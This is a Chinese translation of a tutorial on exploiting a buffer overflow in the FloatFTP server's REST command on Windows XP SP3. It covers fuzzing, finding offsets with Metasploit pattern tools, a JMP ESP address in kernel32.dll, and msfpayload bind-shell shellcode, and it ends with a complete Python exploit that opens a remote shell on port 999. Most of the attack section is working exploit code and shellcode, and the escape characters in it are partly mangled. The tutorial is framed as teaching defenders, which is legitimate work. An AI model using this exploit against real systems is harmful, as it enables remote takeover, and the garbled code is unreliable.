资讯专栏INFORMATION COLUMN

理解缓冲区溢出漏洞的利用

neuSnail / 1563人阅读

摘要:按键或是工具栏上的播放符号,让应用程序运行。单击器的工具栏上的,在存在的中查找指令,之后双击一个,右键单击搜索,选择,之后键入。

在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。

在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现————整个进程,无论是独立的部分还是整体————都会一点点呈现出来。

本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。

如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。

我要经历几个漏洞挖掘的阶段才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而攻击远程系统。

需要的软件/设置

攻击系统:Backtrack Linux(我用的R3)

开发/受害系统:Windows xp sp3英文版

Immunity debugger:安装在Windows xp系统上

FloatFTP:我们要利用的应用程序

让我们正式开始吧!

Fuzzing

“Fuzzing”是发送无效或畸形的、过多的和随机的数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。

双击float FTP来执行开始:

通过运行cmd提示符来运行和监听21端口和键入:

  

netstat -an | find "21"

启动Immunity debugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。

一旦应用程序在调试器上加载时,调试器会处于暂定状态。按F9键或是Immunity debugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。

现在我们将开始配置FTP fuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。

下面的代码是一个用python脚本语言编写的简单的FTP fuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。

#!/usr/bin/python

import socket

# Create an array of buffers, from 20 to 2000, with increments of 20.

buffer=["A"]

counter=20

while len(buffer) <= 30:

        buffer.append("A"*counter)

        counter=counter+100

# Define the FTP commands to be fuzzed

commands=["REST"]

# Run the fuzzing loop

for command in commands:

        for string in buffer:

                print "Fuzzing" + command + " with length:" +str(len(string))

                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                connect=s.connect(("10.10.10.32",21)) # Target IP address

                s.recv(1024)

                s.send("USER ftp
") # login user

                s.recv(1024)

                s.send("PASS ftp
") # login password

                s.recv(1024)

                s.send(command + " " + string + "
") # buffer

                s.recv(1024)

                s.send("QUIT
")

                s.close()  

我们可以从例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服务器的REST命令就是一个易受攻击的缓冲区溢出,FTP的REST功能将会成为fuzzer的目标。

在攻击系统的桌面上创建一个文件夹来存放fuzzing和漏洞代码。使用“CD”到这个目录,运行“nano fuzzer.py”。这会打开一个空白的nano文本编辑器,复制和粘贴上面的代码到文件中。

利用正在系统上运行的floatFTP的系统IP地址改变目标IP地址,按CTRL+O来保存文件,按CTRL+X来退出nano,接下来,通过键入来创建可执行文件。

  

chmod 755 fuzzer.py

执行“/fuzzer.py”,几秒钟后,你能够看到fuzzer停止了,并且显示目标应用程序崩溃。

当你在xp系统上看到这个调试器,你会看到Immunity debugger已经捕获了破坏的数据和暂停的应用程序。如果你看EIP(扩展指令指针)寄存器时,你就会看到在41次内fuzzer缓冲区覆盖寄存器,fuzzer缓冲区也会涌入ESP(扩展堆栈指针)寄存器(00AEFC2C)。我们的首要目的是为了通过CPU执行的指令代码再次控制EIP寄存器,把它设置成我们所选择的值。

漏洞挖掘

用nano创建一个新的文件,输入下面的代码。这是挖掘的开始,将文件保存为skeleton.py并执行(输入chmod 755 skeleton.py

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "x41" * 1000

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

在攻击系统的Linux终端上运行skeleton.py。

现在,当你在Immunity debugger上检查EIP寄存器时,你会看到缓冲区代码0×41414141覆盖了寄存器,并溢出到了ESP寄存器中。

下一步就是要确定我们要插入代码的空间到底有多大,到现在为止,我们已经使用了一组固定的重复字符来确定我们的目标的内存地址。我们现在将要使用metasploit的pattern_create和pattern_offset工具来帮助我们发现究竟有多大的空间,我们以什么特定的内存地址为目标。首先,用1000个字符来生成一个不重复的字符串。

使用cd命令到/opt/metasploit/msf3/tools并运行:

./pattern\_create.rb 1000 

创建一个1000字符的字符串,用它来取代以前缓冲架构漏洞中的1000个字符“A”。

注释掉以前的缓冲区漏洞,像下面一样创建一个新的缓冲线,在双引号中为新的缓冲区。

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = "x41" * 1000

buffer = "Paste pattern_create buffer here"

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close() 

在Immunity debugger下重启FTP服务器(单击“debug”,之后重启或按CTRL+F2),启动FTP服务器的架构漏洞。按照先前的做法一定崩溃了,但是现在EIP和ESP缓冲区中有metasploit创建的格式,把这些值复制下来,我们将用它们来计算EIP和ESP寄存器的字节中的差异。

在本例,EIP和ESP的值为:

EIP: 69413269 
ESP: 00AEFC2C (69413669)

之后,运行:

./pattern\_offset.rb 69413269

接着

./pattern\_offset.rb 69413669

输出告诉我们247个字节以后的EIP寄存器开始被缓冲区覆盖,这就意味着EIP中248—251字节是我们想要的目标。

CPU通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMP ESP指令使CPU来执行指令和跳到ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMP ESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP寄存器中。

两个寄存器之间有12个字节,于是我们用8个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。

我们使用保持1000字节边界的框架漏洞来调整缓冲区:

buffer = "/gx41"*247 + "x42x42x42x42" + "x43"*8 +
"/gx44"*741 z

例如: [buffer]<>[eip data]<>[padding]<>[shellcode placeholder]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000

#buffer = "pattern_create buffer"

buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741 

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

在Immunity debugger中重启FTP服务器,按播放键取消暂停的应用程序。

再次运行挖掘,然后在Immunity debugger器中右击ESP寄存器的窗格选择“follow in dump”。如果一切排列正确的话,EIP寄存器中将会存储42424242和DS(x44)将会在ESP寄存器内存地址前面从EIP到ESP的空间中填充8 CS。

很棒。在Immunity debugger器中,复制DS的开始到结束的ESP的内存地址。然后打开windows计算器,转换到16进制的模式,把数值变成10进制。

这里是这样的:

开始:00AEFC2C = 11467820

结束:00AEFF0C = 11468556

用结束值减去开始值11468556 - 11467820 = 736,我们就知道有736个字节来储存代码。

现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMP ESP指令。

单击Immunity debugger器的工具栏上的“e”,在存在的windows dll中查找JMP ESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMP ESP”。

我们在windows系统文件kernel32.dll系统文件中发现了我们要找的指令,然后记下JMP ESP的内存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系统,而不是32位的windows xp sp3英文版,这个指令驻留在不同的位置。你要是用的是其他系统,在另外的DLL中查找JMP ESP指令,在剩下的教程中改变内存地址。

我们用一个新的缓冲区来更新我们的骨架漏洞,注释掉最后的一个缓冲区声明,用下面的代码替代它:

buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 +
"/gxCC"*741

因为小尾数CPU架构,JMP ESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了x7Bx46x86x7C。我们也要增加8Bs作为填充("x43"*8)和改变最后一个值为xCC*741 (742 CC"s),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目标ESP内存地址的开始,00AEFC2C,我们应该在EIP寄存器中找到我们的JMP ESP指令(7C86467B)。

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000

#buffer = "pattern_create buffer"

#buffer = "x41"*247 + "x44x44x44x44" + "x43"*8 + "x44"*741 

# Windows XP SP3 kernel32.dll  JMP ESP

buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

在Immunity debugger器中单击“debug”之后“restar”来重启FTPsever.exe,不要忘记按F9或是在调试器中单击播放按钮来取消暂停的应用程序。

在Immunity debugger器工具栏单击箭头指向的三个点,进入JMP ESP内存所在的位置:7C86467B(在这个例子中),单击“OK”,然后按下F2在调试中设置断点。当访问JMP ESP地址时,调试将会暂定,让我们来查看寄存器和验证我们的目标EIP和ESP的正确性。

再次运行漏洞,并在调试器中查看输出,这看起来应该和下面的类似:

EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFC2C)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。

shellcode和漏洞

我们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为x00, x0d, x0a, 0×40。"x40xffx3dx20"可以阻止shellcode执行。

下面是用msfpayload命令创建的shellcode,当在目标系统中被执行时,TCP999端口将会被打开。Msfencode语句确保在shellcode中没有坏的字符能阻止上面的执行。

msfpayload windowsgshell\_bind\_tcp EXITFUNC=seh LPORT=999 R |
msfencode -b "/gx40x0Ax00x0Dxffx0dx3dx20"

这个结果是一个386字节的payload:

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

buf = 

"xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9" +

"xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9" +

"xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5" +

"x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08" +

"x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0" +

"x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11" +

"xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc" +

"x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a" +

"x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93" +

"x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c" +

"x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc" +

"x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4" +

"x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c" +

"xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34" +

"xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08" +

"xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88" +

"x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b" +

"x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37" +

"x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50" +

"x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63" +

"xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72" +

"xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f" +

"x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb" +

"x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3" +

"xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08" +

"x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f" +

"x0ex3ax93x35"

注释掉前面缓冲区声明和添加新的修改声明:

buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 +
shellcode + "xCC"*373

在处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU中,一个NOP slide是一系列的NOP(无操作)指令(操作码0×90),这就意味着“滑动”CPU的指令执行流程到它的最终目标。当一切在一个漏洞中正常排列,NOP指令是有利的,但是shellcode执行失败。

我又一次修改缓冲区在shellcode前添加了16个NOP:

buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 +
"/gx90"*16 + shellcode + "xCC"*357

例如: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]

最终完整的漏洞:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = "x41" * 1000

#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

#buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741

## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b "x40x0Ax00x0D" 368 bytes

shellcode = ("xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9"

"xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9"

"xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5"

"x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08"

"x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0"

"x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11"

"xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc"

"x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a"

"x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93"

"x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c"

"x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc"

"x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4"

"x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c"

"xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34"

"xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08"

"xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88"

"x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b"

"x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37"

"x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50"

"x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63"

"xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72"

"xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f"

"x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb"

"x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3"

"xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08"

"x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f"

"x0ex3ax93x35")

## Windows XP SP3 kernel32.dll 7C86467B JMP ESP

#buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741

buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "x90"*16 + shellcode + "xCC"*357

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

关闭XP系统上的调试器,重新启动FloatFTP。在攻击系统上启动漏洞攻击,然后远程连接到FTP服务器的999端口,一起正常,你将会以一个管理员的身份(或是任何一个打开FloatFTP进程的)收到一个shell。

正如你看到的,现在这个系统已经被渗透,并且受攻击者控制。

原文 Understanding Buffer Overflow Exploits
翻译 赵阳

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/11083.html

相关文章

  • CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞

    摘要:二漏洞成因分析在协议中,最小的发送数据包的单位是一个。这次漏洞的起因是对于属于同一个的的字段没有校验前后是否一致,导致写入堆的时候缓冲区溢出。可以部署在堆上,然后在程序中寻找合适的把栈指针迁移到堆上就行了。 作者:栈长@蚂蚁金服巴斯光年安全实验室 一、前言FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2...

    HmyBmny 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<